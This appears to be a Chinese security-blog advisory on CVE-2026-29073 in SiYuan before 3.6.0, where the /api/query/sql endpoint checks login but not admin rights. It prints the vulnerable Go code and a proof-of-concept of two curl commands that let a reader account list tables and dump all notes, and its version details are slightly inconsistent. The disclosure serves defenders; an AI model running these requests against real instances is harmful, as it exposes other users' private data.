首页 网络安全 正文
  • 本文约1524字,阅读需8分钟
  • 2
  • 0

SiYuan越权执行任意SQL漏洞CVE-2026-29073

摘要

栋科技漏洞库关注到思源笔记在 3.6.0 之前的版本中存在一个越权执行任意SQL漏洞,现追踪为CVE-2026-29073,CVSS 4.0评分5.7。

思源笔记(SiYuan)是一款隐私优先、本地优先、完全开源块级个人知识管理系统(PKM),以内容块为核心,端到端加密增量同步。

一、基本情况

SiYuan(思源笔记)是一款开源个人知识管理系统,支持细粒度的隐私控制,完全离线使用,个人与商业场景均可免费使用核心功能。

LangBot v4.8.7跨站脚本漏洞 CVE-2026-28509

思源笔记支持 Markdown 所见即所得编辑、细粒度块引用与双向链接,可跨全平台使用,适合构建结构化与网状结合的个人知识图谱。

栋科技漏洞库关注到思源笔记在 3.6.0 之前的版本中存在一个越权执行任意SQL漏洞,现追踪为CVE-2026-29073,CVSS 4.0评分5.7。

二、漏洞分析

CVE-2026-29073漏洞是存在于思源笔记 3.5.3 版本中存在的一个越权执行任意SQL漏洞,源于该版本的一个 SQL 接口存在权限校验。

该漏洞存在于思源笔记 3.5.3 版本系统 /api/query/sql 接口中,该接口允许用户直接运行SQL,它会检查用户登录状态(Basic Auth)。

只不过,该接口只是检查了基本的身份验证,却没有检查管理员权限,也就是说该接口并没有对执行 SQL 的管理员权限进行二次验证。

这就导致任何登录用户甚至是仅拥有最低级别的读者权限,都利用通过该接口向数据库直接发送并执行任意 SQL 查询,潜在风险较大。

由于 SQL API 主要用于选择查询,若不进行验证,仍然可以进行写入,导致读者用户可查询数据库中的所有数据,包括其他用户笔记。

此外,这是一个身份验证旁路, SQL 功能适用于高级用户,但即使是读者也可以使用它,因此恶意 SQL 可能会导致严重的性能问题。

该漏洞的潜在风险包括导致其他用户笔记被泄露、系统内存储的笔记数据被泄露、篡改或彻底删除。

易受攻击的端点位于kernel/api/sql.go中

func SQL(c *gin.Context) {
    ret := gulu.Ret.NewResult()
    defer c.JSON(http.StatusOK, ret)

    arg, ok := util.JsonArg(c, ret)
    if !ok {
        return
    }

    stmt := arg["stmt"].(string)
    result, err := sql.Query(stmt, model.Conf.Search.Limit) // ... runs arbitrary sql with no restrictions
}

kernel/api/router.go中的路由只使用CheckAuth中间件

例如(类似)

ginServer.Handle("POST", "/api/query/sql", model.CheckAuth, SQL)

三、POC概念验证

打开发布服务启动思源

# list out all tables in the database

curl -s -u reader_user:reader_pass \
  -X POST "http://127.0.0.1:6808/api/query/sql" \
  -H "Content-Type: application/json" \
  -d '{"stmt": "SELECT name, type FROM sqlite_master WHERE type='"'"'table'"'"'"}'

# extract all user content from the database

curl -s -u reader_user:reader_pass \
  -X POST "http://127.0.0.1:6808/api/query/sql" \
  -H "Content-Type: application/json" \
  -d '{"stmt": "SELECT id, content FROM blocks"}'

四、影响范围

SiYuan <= 3.5.3

五、修复建议

SiYuan > 3.6.0

六、 参考链接

管理员已设置登录后刷新可查看



扫描二维码,在手机上阅读
评论
更换验证码
友情链接